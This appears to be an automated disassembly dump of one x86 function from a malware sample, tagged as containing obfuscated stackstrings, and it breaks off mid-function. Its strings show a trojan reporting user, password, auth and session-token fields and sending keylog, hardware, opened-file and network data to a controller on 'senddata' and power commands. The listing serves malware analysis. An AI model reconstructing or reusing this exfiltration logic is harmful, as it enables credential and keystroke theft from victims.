Function at 0x430bc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f4494
mov eax, dword fs:[0]
push eax
sub esp, 0x2ac
mov eax, dword [0x52c018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1f0]
push 0
mov byte [ebp - 0x1f8], 0
call fcn.004088b0
push 0x100
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004c92d0
mov eax, dword [0x533960]
add eax, 0x3f0
push eax
call fcn.004d2bd6
movups xmm1, xmmword [eax]
movups xmmword [ebp - 0x17c], xmm1
movups xmm0, xmmword [eax + 0x10]
psrldq xmm1, 8
movups xmmword [ebp - 0x16c], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x15c], eax
movd eax, xmm1
sub eax, 3
mov dword [ebp - 0x174], eax
lea eax, [ebp - 0x17c]
push eax
call fcn.004d3389
mov eax, dword [ebp - 0x15c]
movups xmm0, xmmword [ebp - 0x17c]
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x158]
push eax
movups xmmword [ebp - 0x158], xmm0
push str._Y__m__d__H:_M:_S
movups xmm0, xmmword [ebp - 0x16c]
lea eax, [ebp - 0x110]
push 0x14
push eax
movups xmmword [ebp - 0x148], xmm0
call fcn.004d3978
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 0x28
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.acao
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 4
call fcn.0043f600
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
mov byte [ebp - 0x1e4], 0
mov edx, dword [edx + 0x60]
lea ecx, [ebp - 0x1e4]
xorps xmm0, xmm0
movq qword [ebp - 0x1dc], xmm0
call fcn.00450810
push 0x512940
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 5
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov eax, dword [ebp - 0x1dc]
mov dl, byte [esi]
mov byte [esi], cl
mov ecx, dword [esi + 8]
mov byte [ebp - 0x1e4], dl
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov esi, dword [0x533960]
xorps xmm0, xmm0
push 0x18
add esi, 0xcc
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 6
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.user
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 7
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov esi, dword [0x533960]
xorps xmm0, xmm0
push 0x18
add esi, 0xe4
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 8
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.passwd
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 9
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov esi, dword [0x533960]
xorps xmm0, xmm0
push 0x18
add esi, 0x114
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0xa
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.auth
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0xb
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov esi, dword [0x533960]
xorps xmm0, xmm0
push 0x18
add esi, 0x15c
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0xc
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.session_token
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0xd
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov esi, dword [0x533960]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0xe
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], esi
push str.versao
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0xf
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x114], edx
call fcn.004076e0
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x10
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431170
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
mov ecx, edi
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.datahoraclient_send
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x11
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
cmp byte [eax + 0x374], 0
je 0x431255
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x12
mov ecx, edi
push 4
push str.IDLE
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
mov byte [ebp - 4], 0x13
jmp 0x43129e
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x14
mov ecx, edi
push 2
push 0x519ce0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
mov byte [ebp - 4], 0x15
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
cmp dword [edx + 0x2bc], 0
je 0x4313c0
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x16
mov ecx, edi
push 4
push str.IDLE
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x17
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
cmp byte [edx + 0x4bb], 0
jne 0x431486
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x18
mov ecx, edi
push 3
push 0x519ce4
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x19
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
mov edi, dword [ebp + 0x1c]
lea ecx, [ebp + 8]
mov eax, dword [ebp + 8]
cmp edi, 0x10
mov esi, dword [ebp + 0x18]
cmovae ecx, eax
cmp esi, 8
jne 0x43195d
mov esi, str.senddata
mov edi, 4
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x4314c5
add ecx, 4
add esi, 4
sub edi, 4
jae 0x4314b0
xor eax, eax
jmp 0x4314ea
cmp al, byte [esi]
jne 0x4314e5
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x4314e5
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
jne 0x4314e5
mov al, byte [ecx + 3]
cmp al, byte [esi + 3]
jne 0x4314e5
xor eax, eax
jmp 0x4314ea
sbb eax, eax
or eax, 1
test eax, eax
jne 0x431954
movzx eax, byte [edx + 0x5e0]
lea esi, [edx + 0x5e0]
sub eax, 0
je 0x43152e
sub eax, 1
je 0x43151c
sub eax, 1
jne 0x43164e
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431523
mov eax, dword [esi + 8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x43164e
movzx eax, byte [edx + 0x5f0]
sub eax, 0
je 0x43156a
sub eax, 1
je 0x431555
sub eax, 1
jne 0x43164e
mov ecx, dword [edx + 0x5f8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x43155f
mov eax, dword [edx + 0x5f8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x43164e
movzx eax, byte [edx + 0x630]
sub eax, 0
je 0x4315a6
sub eax, 1
je 0x431591
sub eax, 1
jne 0x43164e
mov ecx, dword [edx + 0x638]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x43159b
mov eax, dword [edx + 0x638]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x43164e
movzx eax, byte [edx + 0x650]
sub eax, 0
je 0x4315de
sub eax, 1
je 0x4315cd
sub eax, 1
jne 0x43164e
mov ecx, dword [edx + 0x658]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x4315d7
mov eax, dword [edx + 0x658]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x43164e
movzx eax, byte [edx + 0x610]
sub eax, 0
je 0x431612
sub eax, 1
je 0x431601
sub eax, 1
jne 0x43164e
mov ecx, dword [edx + 0x618]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x43160b
mov eax, dword [edx + 0x618]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x43164e
movzx eax, byte [edx + 0x640]
sub eax, 0
je 0x431954
sub eax, 1
je 0x431639
sub eax, 1
jne 0x43164e
mov ecx, dword [edx + 0x648]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431643
mov eax, dword [edx + 0x648]
cmp dword [eax + 4], 0
sete al
test al, al
jne 0x431954
push esi
lea ecx, [ebp - 0x120]
call fcn.0043b780
push str.dados
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1a
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x5f0
push eax
call fcn.0043b780
push str.keylog
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1b
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x120]
add eax, 0x630
push eax
call fcn.0043b780
push 0x519cf8
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1c
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x610
push eax
call fcn.0043b780
push str.hwinfo
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1d
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x120]
add eax, 0x640
push eax
call fcn.0043b780
push str.opened_files
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1e
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x650
push eax
call fcn.0043b780
push str.net_status
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1f
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x120]
add eax, 0x610
push eax
call fcn.0043b780
mov byte [ebp - 4], 0x20
push str.hwinfo
lea ecx, [ebp - 0x1f8]
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
jmp 0x432a07
mov edi, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x18]
cmp edi, 0x10
lea ecx, [ebp + 8]
cmovae ecx, eax
cmp esi, 7
jne 0x4319ca
mov eax, dword [ecx]
mov esi, str.poweron
mov dword [ebp - 0x1e8], 3
cmp eax, dword [esi]
jne 0x431990
add ecx, 4
mov dword [ebp - 0x1e8], 0xffffffff
add esi, 4
mov al, byte [ecx]
cmp al, byte [esi]
jne 0x4319bb
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x4319bb
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
jne 0x4319bb
cmp dword [ebp - 0x1e8], 0xffffffff
je 0x4319b7
mov al, byte [ecx + 3]
cmp al, byte [esi + 3]
jne 0x4319bb
xor eax, eax
jmp 0x4319c0
sbb eax, eax
or eax, 1
test eax, eax
je 0x431a2b
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x18]
cmp edi, 0x10
lea ecx, [ebp + 8]
cmovae ecx, eax
cmp esi, 0xd
jne 0x431af2
mov esi, str.poweron_token
mov edi, 9
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x4319f7
add ecx, 4
add esi, 4
sub edi, 4
jae 0x4319e6
mov al, byte [ecx]
cmp al, byte [esi]
jne 0x431a1e
cmp edi, 0xfffffffd
je 0x431a1a
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x431a1e
mov al, byte [ecx + 2]
cmp al, byte [esi + 2]
jne 0x431a1e
mov al, byte [ecx + 3]
cmp al, byte [esi + 3]
jne 0x431a1e
xor eax, eax
jmp 0x431a23
sbb eax, eax
or eax, 1
test eax, eax
jne 0x431aec
xorps xmm0, xmm0
mov byte [edx + 0x374], 0
push 0x18
mov byte [edx + 0x4bb], 1
movq qword [ebp - 0x118], xmm0
mov byte [ebp - 0x120], 3
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x21
mov ecx, edi
push 2
push 0x519ce0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x22
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
jmp 0x432a07
mov edi, dword [ebp + 0x1c]
mov eax, dword [ebp + 8]
cmp edi, 0x10
lea ecx, [ebp + 8]
cmovae ecx, eax
cmp dword [ebp + 0x18], 8
jne 0x43226a
mov edx, str.poweroff
mov esi, 4
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x431b25
add ecx, 4
add edx, 4
sub esi, 4
jae 0x431b10
xor eax, eax
jmp 0x431b4a
cmp al, byte [edx]
jne 0x431b45
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x431b45
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x431b45
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x431b45
xor eax, eax
jmp 0x431b4a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x432267
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x23
mov ecx, edi
push 3
push 0x519ce4
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x24
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
movzx eax, byte [edx + 0x5e0]
lea esi, [edx + 0x5e0]
sub eax, 0
je 0x431c47
sub eax, 1
je 0x431c35
sub eax, 1
jne 0x431d2b
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431c3c
mov eax, dword [esi + 8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x431d2b
movzx eax, byte [edx + 0x5f0]
sub eax, 0
je 0x431c83
sub eax, 1
je 0x431c6e
sub eax, 1
jne 0x431d2b
mov ecx, dword [edx + 0x5f8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431c78
mov eax, dword [edx + 0x5f8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x431d2b
movzx eax, byte [edx + 0x630]
sub eax, 0
je 0x431cbb
sub eax, 1
je 0x431caa
sub eax, 1
jne 0x431d2b
mov ecx, dword [edx + 0x638]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431cb4
mov eax, dword [edx + 0x638]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x431d2b
movzx eax, byte [edx + 0x610]
sub eax, 0
je 0x431cef
sub eax, 1
je 0x431cde
sub eax, 1
jne 0x431d2b
mov ecx, dword [edx + 0x618]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431ce8
mov eax, dword [edx + 0x618]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x431d2b
movzx eax, byte [edx + 0x640]
sub eax, 0
je 0x432a0c
sub eax, 1
je 0x431d16
sub eax, 1
jne 0x431d2b
mov ecx, dword [edx + 0x648]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x431d20
mov eax, dword [edx + 0x648]
cmp dword [eax + 4], 0
sete al
test al, al
jne 0x432a0c
push esi
lea ecx, [ebp - 0x120]
call fcn.0043b780
push str.dados
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x25
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x5f0
push eax
call fcn.0043b780
push str.keylog
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x26
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x120]
add eax, 0x630
push eax
call fcn.0043b780
push 0x519cf8
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x27
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
